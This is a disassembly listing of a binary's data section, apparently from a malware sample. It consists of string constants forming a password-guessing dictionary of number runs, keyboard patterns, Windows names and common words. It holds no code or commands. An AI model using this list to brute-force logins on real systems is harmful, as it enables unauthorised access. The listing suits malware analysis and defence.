a1957 db '1957',0 ; DATA XREF: .nsp0:00427C4Co
align 4
a1956 db '1956',0 ; DATA XREF: .nsp0:00427C48o
align 10h
a1955 db '1955',0 ; DATA XREF: .nsp0:00427C44o
align 4
a1954 db '1954',0 ; DATA XREF: .nsp0:00427C40o
align 10h
a1953 db '1953',0 ; DATA XREF: .nsp0:00427C3Co
align 4
a1952 db '1952',0 ; DATA XREF: .nsp0:00427C38o
align 10h
a1234qwe db '1234qwe',0 ; DATA XREF: .nsp0:00427C34o
a1234asd db '1234asd',0 ; DATA XREF: .nsp0:00427C30o
a1234abc db '1234abc',0 ; DATA XREF: .nsp0:00427C2Co
a123qwer db '123qwer',0 ; DATA XREF: .nsp0:00427C18o
a12qwe db '12qwe',0 ; DATA XREF: .nsp0:00427C14o
align 4
a12asd db '12asd',0 ; DATA XREF: .nsp0:00427C10o
align 10h
a12abc db '12abc',0 ; DATA XREF: .nsp0:00427C0Co
align 4
a12qwer db '12qwer',0 ; DATA XREF: .nsp0:00427C08o
align 10h
a1qwe db '1qwe',0 ; DATA XREF: .nsp0:00427C04o
align 4
a1asd db '1asd',0 ; DATA XREF: .nsp0:00427C00o
align 10h
a1abc db '1abc',0 ; DATA XREF: .nsp0:00427BFCo
align 4
a1qwer db '1qwer',0 ; DATA XREF: .nsp0:00427BF8o
align 10h
a123467890 db '123467890',0 ; DATA XREF: .nsp0:00427BF4o
align 4
a12346789 db '12346789',0 ; DATA XREF: .nsp0:00427BF0o
align 4
a1234678 db '1234678',0 ; DATA XREF: .nsp0:00427BECo
a123467 db '123467',0 ; DATA XREF: .nsp0:00427BE8o
align 4
a12346 db '12346',0 ; DATA XREF: .nsp0:00427BE4o
align 10h
a121 db '121',0 ; DATA XREF: .nsp0:00427BBCo
a1020 db '1020',0 ; DATA XREF: .nsp0:00427BB4o
align 4
a0258 db '0258',0 ; DATA XREF: .nsp0:00427BB0o
align 4
a8520 db '8520',0 ; DATA XREF: .nsp0:00427BACo
align 4
a987 db '987',0 ; DATA XREF: .nsp0:00427BA8o
a789 db '789',0 ; DATA XREF: .nsp0:00427BA4o
a654 db '654',0 ; DATA XREF: .nsp0:00427BA0o
a456 db '456',0 ; DATA XREF: .nsp0:00427B9Co
a1122 db '1122',0 ; DATA XREF: .nsp0:00427B98o
align 4
a0147 db '0147',0 ; DATA XREF: .nsp0:00427B94o
align 4
a7410 db '7410',0 ; DATA XREF: .nsp0:00427B90o
align 4
a9999999999 db '9999999999',0 ; DATA XREF: .nsp0:00427B88o
align 10h
a999999999 db '999999999',0 ; DATA XREF: .nsp0:00427B84o
align 4
a99999999 db '99999999',0 ; DATA XREF: .nsp0:00427B80o
align 4
a9999999 db '9999999',0 ; DATA XREF: .nsp0:00427B7Co
a999999 db '999999',0 ; DATA XREF: .nsp0:00427B78o
align 4
a99999 db '99999',0 ; DATA XREF: .nsp0:00427B74o
align 10h
a9999 db '9999',0 ; DATA XREF: .nsp0:00427B70o
align 4
a999 db '999',0 ; DATA XREF: .nsp0:00427B6Co
a99 db '99',0 ; DATA XREF: .nsp0:00427B68o
align 10h
a9: ; DATA XREF: .nsp0:00427B64o
unicode 0, <9>,0
a8888888888 db '8888888888',0 ; DATA XREF: .nsp0:00427B60o
align 10h
a888888888 db '888888888',0 ; DATA XREF: .nsp0:00427B5Co
align 4
a8888888 db '8888888',0 ; DATA XREF: .nsp0:00427B54o
a888888 db '888888',0 ; DATA XREF: .nsp0:00427B50o
align 4
a88888 db '88888',0 ; DATA XREF: .nsp0:00427B4Co
align 4
a8888 db '8888',0 ; DATA XREF: .nsp0:00427B48o
align 4
a888 db '888',0 ; DATA XREF: .nsp0:00427B44o
a88 db '88',0 ; DATA XREF: .nsp0:00427B40o
align 4
a8: ; DATA XREF: .nsp0:00427B3Co
unicode 0, <8>,0
a7777777777 db '7777777777',0 ; DATA XREF: .nsp0:00427B38o
align 4
a777777777 db '777777777',0 ; DATA XREF: .nsp0:00427B34o
align 10h
a77777777 db '77777777',0 ; DATA XREF: .nsp0:00427B30o
align 4
a7777777 db '7777777',0 ; DATA XREF: .nsp0:00427B2Co
a777777 db '777777',0 ; DATA XREF: .nsp0:00427B28o
align 4
a77777 db '77777',0 ; DATA XREF: .nsp0:00427B24o
align 4
a7777 db '7777',0 ; DATA XREF: .nsp0:00427B20o
align 4
a777 db '777',0 ; DATA XREF: .nsp0:00427B1Co
a77 db '77',0 ; DATA XREF: .nsp0:00427B18o
align 4
a7: ; DATA XREF: .nsp0:00427B14o
unicode 0, <7>,0
a6666666666 db '6666666666',0 ; DATA XREF: .nsp0:00427B10o
align 4
a666666666 db '666666666',0 ; DATA XREF: .nsp0:00427B0Co
align 10h
a66666666 db '66666666',0 ; DATA XREF: .nsp0:00427B08o
align 4
a6666666 db '6666666',0 ; DATA XREF: .nsp0:00427B04o
a666666 db '666666',0 ; DATA XREF: .nsp0:00427B00o
align 4
a66666 db '66666',0 ; DATA XREF: .nsp0:00427AFCo
align 4
a6666 db '6666',0 ; DATA XREF: .nsp0:00427AF8o
align 4
a666 db '666',0 ; DATA XREF: .nsp0:00427AF4o
a66 db '66',0 ; DATA XREF: .nsp0:00427AF0o
align 4
a6: ; DATA XREF: .nsp0:00427AECo
unicode 0, <6>,0
a5555555555 db '5555555555',0 ; DATA XREF: .nsp0:00427AE8o
align 4
a555555555 db '555555555',0 ; DATA XREF: .nsp0:00427AE4o
align 10h
a55555555 db '55555555',0 ; DATA XREF: .nsp0:00427AE0o
align 4
a5555555 db '5555555',0 ; DATA XREF: .nsp0:00427ADCo
a555555 db '555555',0 ; DATA XREF: .nsp0:00427AD8o
align 4
a55555 db '55555',0 ; DATA XREF: .nsp0:00427AD4o
align 4
a5555 db '5555',0 ; DATA XREF: .nsp0:00427AD0o
align 4
a555 db '555',0 ; DATA XREF: .nsp0:00427ACCo
a55 db '55',0 ; DATA XREF: .nsp0:00427AC8o
align 4
a5: ; DATA XREF: .nsp0:00427AC4o
unicode 0, <5>,0
a4444444444 db '4444444444',0 ; DATA XREF: .nsp0:00427AC0o
align 4
a444444444 db '444444444',0 ; DATA XREF: .nsp0:00427ABCo
align 10h
a44444444 db '44444444',0 ; DATA XREF: .nsp0:00427AB8o
align 4
a4444444 db '4444444',0 ; DATA XREF: .nsp0:00427AB4o
a444444 db '444444',0 ; DATA XREF: .nsp0:00427AB0o
align 4
a44444 db '44444',0 ; DATA XREF: .nsp0:00427AACo
align 4
a4444 db '4444',0 ; DATA XREF: .nsp0:00427AA8o
align 4
a444 db '444',0 ; DATA XREF: .nsp0:00427AA4o
a44 db '44',0 ; DATA XREF: .nsp0:00427AA0o
align 4
a4: ; DATA XREF: .nsp0:00427A9Co
unicode 0, <4>,0
a3333333333 db '3333333333',0 ; DATA XREF: .nsp0:00427A98o
align 4
a333333333 db '333333333',0 ; DATA XREF: .nsp0:00427A94o
align 10h
a33333333 db '33333333',0 ; DATA XREF: .nsp0:00427A90o
align 4
a3333333 db '3333333',0 ; DATA XREF: .nsp0:00427A8Co
a333333 db '333333',0 ; DATA XREF: .nsp0:00427A88o
align 4
a33333 db '33333',0 ; DATA XREF: .nsp0:00427A84o
align 4
a3333 db '3333',0 ; DATA XREF: .nsp0:00427A80o
align 4
a333 db '333',0 ; DATA XREF: .nsp0:00427A7Co
a33 db '33',0 ; DATA XREF: .nsp0:00427A78o
align 4
a3: ; DATA XREF: .nsp0:00427A74o
unicode 0, <3>,0
a2222222222 db '2222222222',0 ; DATA XREF: .nsp0:00427A70o
align 4
a222222222 db '222222222',0 ; DATA XREF: .nsp0:00427A6Co
align 10h
a22222222 db '22222222',0 ; DATA XREF: .nsp0:00427A68o
align 4
a2222222 db '2222222',0 ; DATA XREF: .nsp0:00427A64o
a222222 db '222222',0 ; DATA XREF: .nsp0:00427A60o
align 4
a22222 db '22222',0 ; DATA XREF: .nsp0:00427A5Co
align 4
a2222 db '2222',0 ; DATA XREF: .nsp0:00427A58o
align 4
a222 db '222',0 ; DATA XREF: .nsp0:00427A54o
a22 db '22',0 ; DATA XREF: .nsp0:00427A50o
align 4
a2: ; DATA XREF: .nsp0:00427A4Co
unicode 0, <2>,0
a1111111111 db '1111111111',0 ; DATA XREF: .nsp0:00427A48o
align 4
a111111111 db '111111111',0 ; DATA XREF: .nsp0:00427A44o
align 10h
a1111111 db '1111111',0 ; DATA XREF: .nsp0:00427A3Co
a11111 db '11111',0 ; DATA XREF: .nsp0:00427A34o
align 10h
a1111 db '1111',0 ; DATA XREF: .nsp0:00427A30o
align 4
a11 db '11',0 ; DATA XREF: .nsp0:00427A28o
align 4
a010 db '010',0 ; DATA XREF: .nsp0:00427A18o
a009 db '009',0 ; DATA XREF: .nsp0:00427A14o
a008 db '008',0 ; DATA XREF: .nsp0:00427A10o
a006 db '006',0 ; DATA XREF: .nsp0:00427A08o
a005 db '005',0 ; DATA XREF: .nsp0:0040A54Eo
; .nsp0:00427A04o
a004 db '004',0 ; DATA XREF: .nsp0:00427A00o
a003 db '003',0 ; DATA XREF: .nsp0:004279FCo
a002 db '002',0 ; DATA XREF: .nsp0:004279F8o
a001 db '001',0 ; DATA XREF: .nsp0:0040A539o
; .nsp0:004279F4o
asc_428CA0 db '*********',0 ; DATA XREF: .nsp0:004279F0o
align 4
asc_428CAC db '********',0 ; DATA XREF: .nsp0:004279ECo
align 4
asc_428CB8 db '*******',0 ; DATA XREF: .nsp0:004279E8o
asc_428CC0 db '******',0 ; DATA XREF: .nsp0:004279E4o
align 4
asc_428CC8 db '*****',0 ; DATA XREF: .nsp0:004279E0o
align 10h
asc_428CD0 db '****',0 ; DATA XREF: .nsp0:004279DCo
align 4
asc_428CD8 db '***',0 ; DATA XREF: .nsp0:004279D8o
asc_428CDC db '**',0 ; DATA XREF: .nsp0:004279D4o
align 10h
a0000000000 db '0000000000',0 ; DATA XREF: .nsp0:004279CCo
align 4
a000000000 db '000000000',0 ; DATA XREF: .nsp0:004279C8o
align 4
a@ db '@!',0 ; DATA XREF: .nsp0:004279A8o
align 4
a@_0 db '#@!',0 ; DATA XREF: .nsp0:004279A4o
a@_1 db '$#@!',0 ; DATA XREF: .nsp0:004279A0o
align 4
a@_2 db '%$#@!',0 ; DATA XREF: .nsp0:0042799Co
align 10h
a@_3 db '^%$#@!',0 ; DATA XREF: .nsp0:00427998o
align 4
a@_4 db '&^%$#@!',0 ; DATA XREF: .nsp0:00427994o
a@_5 db '*&^%$#@!',0 ; DATA XREF: .nsp0:00427990o
align 4
asc_428D2C db '$$$',0 ; DATA XREF: .nsp0:0042798Co
asc_428D30 db '$$',0 ; DATA XREF: .nsp0:00427988o
align 4
asc_428D34: ; DATA XREF: .nsp0:00427984o
unicode 0, <$>,0
a456_0 db '456+',0 ; DATA XREF: .nsp0:00427980o
align 10h
a789_0 db '789+',0 ; DATA XREF: .nsp0:0042797Co
align 4
a0 db '=-0',0 ; DATA XREF: .nsp0:00427978o
asc_428D4C db '--++',0 ; DATA XREF: .nsp0:00427974o
align 4
asc_428D54 db '-+',0 ; DATA XREF: .nsp0:00427970o
align 4
asc_428D58 db '----',0 ; DATA XREF: .nsp0:0042796Co
align 10h
asc_428D60 db '--',0 ; DATA XREF: .nsp0:00427964o
; .nsp0:00427968o
align 4
asc_428D64: ; DATA XREF: .nsp0:00427960o
unicode 0, <->,0
asc_428D68 db '++++',0 ; DATA XREF: .nsp0:0042795Co
align 10h
asc_428D70 db '+++',0 ; DATA XREF: .nsp0:00427958o
asc_428D74 db '++',0 ; DATA XREF: .nsp0:00427954o
align 4
asc_428D78: ; DATA XREF: .nsp0:00427950o
unicode 0, <+>,0
a@@ db '@@',0 ; DATA XREF: .nsp0:0042794Co
align 10h
a@_6: ; DATA XREF: .nsp0:0040A573o
; .nsp0:00427948o
unicode 0, <@>,0
off_428D84 dd offset loc_40211D+4 ; DATA XREF: .nsp0:00427944o
dword_428D88 dd 2121h dword_428D8C dd 24234021h, 2A265E25h, 0dword_428D98 dd 24234021h, 265E25hdword_428DA0 dd 24234021h, 5E25hdword_428DA8 dd 24234021h, 25hdword_428DB0 dd 234021h dword_428DB4 dd 4021h dword_428DB8 dd 21h ; .nsp0:0040F7F8o ...
dword_428DBC dd 25h aZimmerman db 'zimmerman',0 ; DATA XREF: .nsp0:00427918o
align 4
aZap db 'zap',0 ; DATA XREF: .nsp0:00427914o
aYellowstone db 'yellowstone',0 ; DATA XREF: .nsp0:00427910o
aXyz db 'xyz',0 ; DATA XREF: .nsp0:0042790Co
aWisconsin db 'wisconsin',0 ; DATA XREF: .nsp0:00427908o
align 4
aWilliamsburg db 'williamsburg',0 ; DATA XREF: .nsp0:00427904o
align 4
aWholesale db 'wholesale',0 ; DATA XREF: .nsp0:00427900o
align 4
aTty db 'tty',0 ; DATA XREF: .nsp0:004278FCo
aTopography db 'topography',0 ; DATA XREF: .nsp0:004278F8o
align 4
aTemptation db 'temptation',0 ; DATA XREF: .nsp0:004278F4o
align 4
aTelephone db 'telephone',0 ; DATA XREF: .nsp0:004278F0o
align 10h
aTangerine db 'tangerine',0 ; DATA XREF: .nsp0:004278ECo
align 4
aSys db 'sys',0 ; DATA XREF: .nsp0:004278E8o
aSupported db 'supported',0 ; DATA XREF: .nsp0:004278E4o
align 4
aSuperuser db 'superuser',0 ; DATA XREF: .nsp0:004278E0o
align 4
aSuperstage db 'superstage',0 ; DATA XREF: .nsp0:004278DCo
align 4
aSun db 'sun',0 ; DATA XREF: .nsp0:004278D8o
aStuttgart db 'stuttgart',0 ; DATA XREF: .nsp0:004278D4o
align 4
aStratford db 'stratford',0 ; DATA XREF: .nsp0:004278D0o
align 10h
aStephanie db 'stephanie',0 ; DATA XREF: .nsp0:004278CCo
align 4
aSignature db 'signature',0 ; DATA XREF: .nsp0:004278C8o
align 4
aSheffield db 'sheffield',0 ; DATA XREF: .nsp0:004278C4o
align 4
aSal db 'sal',0 ; DATA XREF: .nsp0:004278C0o
aRochester db 'rochester',0 ; DATA XREF: .nsp0:004278BCo
align 4
aRje db 'rje',0 ; DATA XREF: .nsp0:004278B8o
aRachmaninoff db 'rachmaninoff',0 ; DATA XREF: .nsp0:004278B4o
align 4
aPub db 'pub',0 ; DATA XREF: .nsp0:004278B0o
aProfessor db 'professor',0 ; DATA XREF: .nsp0:004278ACo
align 4
aPrinceton db 'princeton',0 ; DATA XREF: .nsp0:004278A8o
align 4
aPondering db 'pondering',0 ; DATA XREF: .nsp0:004278A4o
align 10h
aPolynomial db 'polynomial',0 ; DATA XREF: .nsp0:004278A0o
align 4
aPersimmon db 'persimmon',0 ; DATA XREF: .nsp0:0042789Co
align 4
aPercolate db 'percolate',0 ; DATA XREF: .nsp0:00427898o
align 4
aPam db 'pam',0 ; DATA XREF: .nsp0:00427894o
aPad db 'pad',0 ; DATA XREF: .nsp0:00427890o
aOceanography db 'oceanography',0 ; DATA XREF: .nsp0:0042788Co
align 4
aNutrition db 'nutrition',0 ; DATA XREF: .nsp0:00427888o
align 4
aNew db 'new',0 ; DATA XREF: .nsp0:00427884o
aNet db 'net',0 ; DATA XREF: .nsp0:00427880o
aMit db 'mit',0 ; DATA XREF: .nsp0:0042787Co
aMgr db 'mgr',0 ; DATA XREF: .nsp0:00427878o
aMacintosh db 'macintosh',0 ; DATA XREF: .nsp0:00427874o
align 4
aLiz db 'liz',0 ; DATA XREF: .nsp0:00427870o
aLee db 'lee',0 ; DATA XREF: .nsp0:0042786Co
aLamination db 'lamination',0 ; DATA XREF: .nsp0:00427868o
align 4
aKim db 'kim',0 ; DATA XREF: .nsp0:00427864o
aKey db 'key',0 ; DATA XREF: .nsp0:00427860o
aJoy db 'joy',0 ; DATA XREF: .nsp0:0042785Co
aJen db 'jen',0 ; DATA XREF: .nsp0:00427858o
aInnocuous db 'innocuous',0 ; DATA XREF: .nsp0:00427854o
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: .nsp0:00427850o
align 10h
aIbm db 'ibm',0 ; DATA XREF: .nsp0:0042784Co
aHappening db 'happening',0 ; DATA XREF: .nsp0:00427848o
align 10h
aHal db 'hal',0 ; DATA XREF: .nsp0:00427844o
aGnu db 'gnu',0 ; DATA XREF: .nsp0:00427840o
aFun db 'fun',0 ; DATA XREF: .nsp0:0042783Co
aForesight db 'foresight',0 ; DATA XREF: .nsp0:00427838o
align 4
aFoolproof db 'foolproof',0 ; DATA XREF: .nsp0:00427834o
align 4
aExtension db 'extension',0 ; DATA XREF: .nsp0:00427830o
align 10h
aEstablish db 'establish',0 ; DATA XREF: .nsp0:0042782Co
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: .nsp0:00427828o
align 4
aElizabeth db 'elizabeth',0 ; DATA XREF: .nsp0:00427824o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: .nsp0:00427820o
align 10h
aEdinburgh db 'edinburgh',0 ; DATA XREF: .nsp0:0042781Co
align 4
aDos db 'dos',0 ; DATA XREF: .nsp0:00427818o
aDog db 'dog',0 ; DATA XREF: .nsp0:00427814o
aDiscovery db 'discovery',0 ; DATA XREF: .nsp0:00427810o
align 10h
aDesperate db 'desperate',0 ; DATA XREF: .nsp0:0042780Co
align 4
aDeb db 'deb',0 ; DATA XREF: .nsp0:00427808o
aCornelius db 'cornelius',0 ; DATA XREF: .nsp0:00427804o
align 4
aCommrades db 'commrades',0 ; DATA XREF: .nsp0:00427800o
align 4
aChristine db 'christine',0 ; DATA XREF: .nsp0:004277FCo
align 4
aChristina db 'christina',0 ; DATA XREF: .nsp0:004277F8o
align 10h
aChemistry db 'chemistry',0 ; DATA XREF: .nsp0:004277F4o
align 4
aCatherine db 'catherine',0 ; DATA XREF: .nsp0:004277F0o
align 4
aCat db 'cat',0 ; DATA XREF: .nsp0:004277ECo
aCampanile db 'campanile',0 ; DATA XREF: .nsp0:004277E8o
align 4
aCad db 'cad',0 ; DATA XREF: .nsp0:004277E4o
aBsd db 'bsd',0 ; DATA XREF: .nsp0:004277E0o
aBob db 'bob',0 ; DATA XREF: .nsp0:004277DCo
aBicameral db 'bicameral',0 ; DATA XREF: .nsp0:004277D8o
align 10h
aBeethoven db 'beethoven',0 ; DATA XREF: .nsp0:004277D4o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: .nsp0:004277D0o
align 4
aAsm db 'asm',0 ; DATA XREF: .nsp0:004277CCo
aAsd db 'asd',0 ; DATA XREF: .nsp0:004277C8o
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .nsp0:004277C4o
align 10h
aAnn db 'ann',0 ; DATA XREF: .nsp0:004277C0o
aAndromache db 'andromache',0 ; DATA XREF: .nsp0:004277BCo
align 10h
aAmy db 'amy',0 ; DATA XREF: .nsp0:004277B8o
aAmorphous db 'amorphous',0 ; DATA XREF: .nsp0:004277B4o
align 10h
aAma db 'ama',0 ; DATA XREF: .nsp0:004277B0o
aAlf db 'alf',0 ; DATA XREF: .nsp0:004277ACo
aAlbatross db 'albatross',0 ; DATA XREF: .nsp0:004277A8o
align 4
aAda db 'ada',0 ; DATA XREF: .nsp0:004277A4o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: .nsp0:004277A0o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .nsp0:0042779Co
align 10h
aH4x1ng db 'h4x1ng',0 ; DATA XREF: .nsp0:00427798o
align 4
aHaxing db 'haxing',0 ; DATA XREF: .nsp0:00427794o
align 10h
aHax db 'hax',0 ; DATA XREF: .nsp0:00427790o
aWh0re db 'wh0re',0 ; DATA XREF: .nsp0:0042778Co
align 4
aHo db 'ho',0 ; DATA XREF: .nsp0:00427788o
align 10h
aWh0r3 db 'wh0r3',0 ; DATA XREF: .nsp0:00427784o
align 4
aWindoze95 db 'windoze95',0 ; DATA XREF: .nsp0:00427780o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: .nsp0:0042777Co
align 10h
aWindozeme db 'windozeME',0 ; DATA XREF: .nsp0:00427778o
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: .nsp0:00427774o
align 4
aWindozexp db 'windozexp',0 ; DATA XREF: .nsp0:00427770o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: .nsp0:0042776Co
align 10h
aWindows98 db 'windows98',0 ; DATA XREF: .nsp0:00427768o
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: .nsp0:00427764o
align 4
aWindows2k db 'windows2k',0 ; DATA XREF: .nsp0:00427760o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .nsp0:0042775Co
align 10h
aMs db 'MS',0 ; DATA XREF: .nsp0:00427758o
align 4
aM_0 db 'M$',0 ; DATA XREF: .nsp0:00427754o
align 4
aBilly db 'billy',0 ; DATA XREF: .nsp0:00427750o
align 10h
aWindose db 'windose',0 ; DATA XREF: .nsp0:0042774Co
aWindoze db 'windoze',0 ; DATA XREF: .nsp0:00427748o
aWindowz db 'windowz',0 ; DATA XREF: .nsp0:00427744o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: .nsp0:00427740o
aDonaldduck db 'donaldduck',0 ; DATA XREF: .nsp0:0042773Co
align 10h
aAlexander db 'Alexander',0 ; DATA XREF: .nsp0:00427738o
align 4
aAl3x db 'Al3x',0 ; DATA XREF: .nsp0:00427734o
align 4
aDud3 db 'dud3',0 ; DATA XREF: .nsp0:00427730o
align 4
aDudette db 'dudette',0 ; DATA XREF: .nsp0:0042772Co
aD00d db 'd00d',0 ; DATA XREF: .nsp0:00427728o
align 4
aLol db 'lol',0 ; DATA XREF: .nsp0:00427724o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .nsp0:00427720o
align 10h
aRoscop db 'RoscoP',0 ; DATA XREF: .nsp0:0042771Co
align 4
aRosco db 'Rosco',0 ; DATA XREF: .nsp0:00427718o
align 10h
aRoss db 'Ross',0 ; DATA XREF: .nsp0:00427714o
align 4
aTestin db 'testin',0 ; DATA XREF: .nsp0:00427710o
align 10h
aTester db 'tester',0 ; DATA XREF: .nsp0:0042770Co
align 4
a00000000 db '00000000',0 ; DATA XREF: .nsp0:00427708o
; .nsp0:004279C4o
align 4
aZulu db 'zulu',0 ; DATA XREF: .nsp0:00427704o
align 4
aZombie db 'zombie',0 ; DATA XREF: .nsp0:00427700o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: .nsp0:004276FCo
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .nsp0:004276F8o
align 4
aZiggy db 'ziggy',0 ; DATA XREF: .nsp0:004276F4o
align 10h
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .nsp0:004276F0o
align 4
aZebra db 'zebra',0 ; DATA XREF: .nsp0:004276ECo
align 4
aYoung db 'young',0 ; DATA XREF: .nsp0:004276E8o
align 4
aYosemite db 'yosemite',0 ; DATA XREF: .nsp0:004276E4o
align 4
aYolanda db 'yolanda',0 ; DATA XREF: .nsp0:004276E0o
aYellowst db 'yellowst',0 ; DATA XREF: .nsp0:004276DCo
align 4
aYellow db 'yellow',0 ; DATA XREF: .nsp0:004276D8o
align 4
aYankee db 'yankee',0 ; DATA XREF: .nsp0:004276D4o
align 4
aYang db 'yang',0 ; DATA XREF: .nsp0:004276D0o
align 4
aYaco db 'yaco',0 ; DATA XREF: .nsp0:004276CCo
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .nsp0:004276C8o
align 4
aXray db 'xray',0 ; DATA XREF: .nsp0:004276C4o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .nsp0:004276C0o
align 4
aXmen db 'xmen',0 ; DATA XREF: .nsp0:004276BCo
align 4
aXman db 'xman',0 ; DATA XREF: .nsp0:004276B8o
align 4
aXfer db 'xfer',0 ; DATA XREF: .nsp0:004276B4o
align 4
aXena db 'xena',0 ; DATA XREF: .nsp0:004276B0o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: .nsp0:004276ACo
aWwii db 'wwii',0 ; DATA XREF: .nsp0:004276A8o
align 4
aWormwood db 'wormwood',0 ; DATA XREF: .nsp0:004276A4o
align 10h
aWorm db 'worm',0 ; DATA XREF: .nsp0:004276A0o
align 4
aWork db 'work',0 ; DATA XREF: .nsp0:0042769Co
align 10h
aWorf db 'worf',0 ; DATA XREF: .nsp0:00427698o
align 4
aWordperf db 'wordperf',0 ; DATA XREF: .nsp0:00427694o
align 4
aWord db 'word',0 ; DATA XREF: .nsp0:00427690o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .nsp0:0042768Co
align 4
aWood db 'wood',0 ; DATA XREF: .nsp0:00427688o
align 10h
aWomen db 'women',0 ; DATA XREF: .nsp0:00427684o
align 4
aWombat db 'wombat',0 ; DATA XREF: .nsp0:00427680o
align 10h
aWoman db 'woman',0 ; DATA XREF: .nsp0:0042767Co
align 4
aWolverin db 'wolverin',0 ; DATA XREF: .nsp0:00427678o
align 4
aWolf db 'wolf',0 ; DATA XREF: .nsp0:00427674o
align 4
aWizard db 'wizard',0 ; DATA XREF: .nsp0:00427670o
align 4
aWithin db 'within',0 ; DATA XREF: .nsp0:0042766Co
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .nsp0:00427668o
aWisconsi db 'wisconsi',0 ; DATA XREF: .nsp0:00427664o
align 10h
aWired db 'wired',0 ; DATA XREF: .nsp0:00427660o
align 4
aWinston db 'winston',0 ; DATA XREF: .nsp0:0042765Co
aWing db 'wing',0 ; DATA XREF: .nsp0:00427658o
align 4
aWine db 'wine',0 ; DATA XREF: .nsp0:00427654o
align 10h
aWindows db 'windows',0 ; DATA XREF: .nsp0:00427650o
aWilma db 'wilma',0 ; DATA XREF: .nsp0:0042764Co
align 10h
aWillie db 'willie',0 ; DATA XREF: .nsp0:00427648o
align 4
aWilliams db 'williams',0 ; DATA XREF: .nsp0:00427644o
align 4
aWilliam db 'william',0 ; DATA XREF: .nsp0:00427640o
aWill db 'will',0 ; DATA XREF: .nsp0:0042763Co
align 4
aWhore db 'whore',0 ; DATA XREF: .nsp0:00427638o
align 4
aWholesal db 'wholesal',0 ; DATA XREF: .nsp0:00427634o
align 4
aWhitney db 'whitney',0 ; DATA XREF: .nsp0:00427630o
aWhiting db 'whiting',0 ; DATA XREF: .nsp0:0042762Co
aWhite db 'white',0 ; DATA XREF: .nsp0:00427628o
align 10h
aWhisky db 'whisky',0 ; DATA XREF: .nsp0:00427624o
align 4
aWhatnot db 'whatnot',0 ; DATA XREF: .nsp0:00427620o
aWhatever db 'whatever',0 ; DATA XREF: .nsp0:0042761Co
align 4
aWestern db 'western',0 ; DATA XREF: .nsp0:00427618o
aWest db 'west',0 ; DATA XREF: .nsp0:00427614o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .nsp0:00427610o
align 4
aWendy db 'wendy',0 ; DATA XREF: .nsp0:0042760Co
align 10h
aWendi db 'wendi',0 ; DATA XREF: .nsp0:00427608o
align 4
aWell db 'well',0 ; DATA XREF: .nsp0:00427604o
align 10h
aWeenie db 'weenie',0 ; DATA XREF: .nsp0:00427600o
align 4
aWeed db 'weed',0 ; DATA XREF: .nsp0:004275FCo
align 10h
aWednesda db 'wednesda',0 ; DATA XREF: .nsp0:004275F8o
align 4
aWebpage db 'webpage',0 ; DATA XREF: .nsp0:004275F4o
aWave db 'wave',0 ; DATA XREF: .nsp0:004275F0o
align 4
aWater db 'water',0 ; DATA XREF: .nsp0:004275ECo
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: .nsp0:004275E8o
align 10h
aWasp db 'wasp',0 ; DATA XREF: .nsp0:004275E4o
align 4
aWarren db 'warren',0 ; DATA XREF: .nsp0:004275E0o
align 10h
aWarp db 'warp',0 ; DATA XREF: .nsp0:004275DCo
align 4
aWargames db 'wargames',0 ; DATA XREF: .nsp0:004275D8o
align 4
aWarfare db 'warfare',0 ; DATA XREF: .nsp0:004275D4o
aWarez db 'warez',0 ; DATA XREF: .nsp0:004275D0o
align 4
aWard db 'ward',0 ; DATA XREF: .nsp0:004275CCo
align 4
aWaco db 'waco',0 ; DATA XREF: .nsp0:004275C8o
align 4
aVodka db 'vodka',0 ; DATA XREF: .nsp0:004275C4o
align 4
aVisualba db 'visualba',0 ; DATA XREF: .nsp0:004275C0o
align 4
aVisual db 'visual',0 ; DATA XREF: .nsp0:004275BCo
align 10h
aVisitor db 'visitor',0 ; DATA XREF: .nsp0:004275B8o
aVirus db 'virus',0 ; DATA XREF: .nsp0:004275B4o
align 10h
aVirginia db 'virginia',0 ; DATA XREF: .nsp0:004275B0o
align 4
aVirgin db 'virgin',0 ; DATA XREF: .nsp0:004275ACo
align 4
aVillage db 'village',0 ; DATA XREF: .nsp0:004275A8o
aVideogam db 'videogam',0 ; DATA XREF: .nsp0:004275A4o
align 4
aVideo db 'video',0 ; DATA XREF: .nsp0:004275A0o
align 10h
aVictor db 'victor',0 ; DATA XREF: .nsp0:0042759Co
align 4
aVicky db 'vicky',0 ; DATA XREF: .nsp0:00427598o
align 10h
aVertigo db 'vertigo',0 ; DATA XREF: .nsp0:00427594o
aVeronica db 'veronica',0 ; DATA XREF: .nsp0:00427590o
align 4
aVenus db 'venus',0 ; DATA XREF: .nsp0:0042758Co
align 4
aVasant db 'vasant',0 ; DATA XREF: .nsp0:00427588o
align 4
aVampire db 'vampire',0 ; DATA XREF: .nsp0:00427584o
aValerie db 'valerie',0 ; DATA XREF: .nsp0:00427580o
aVagina db 'vagina',0 ; DATA XREF: .nsp0:0042757Co
align 4
aUucp db 'uucp',0 ; DATA XREF: .nsp0:00427578o
align 4
aUtility db 'utility',0 ; DATA XREF: .nsp0:00427574o
aUtil db 'util',0 ; DATA XREF: .nsp0:00427570o
align 4
aUsmc db 'usmc',0 ; DATA XREF: .nsp0:0042756Co
align 4
aUsername db 'username',0 ; DATA XREF: .nsp0:00427568o
align 4
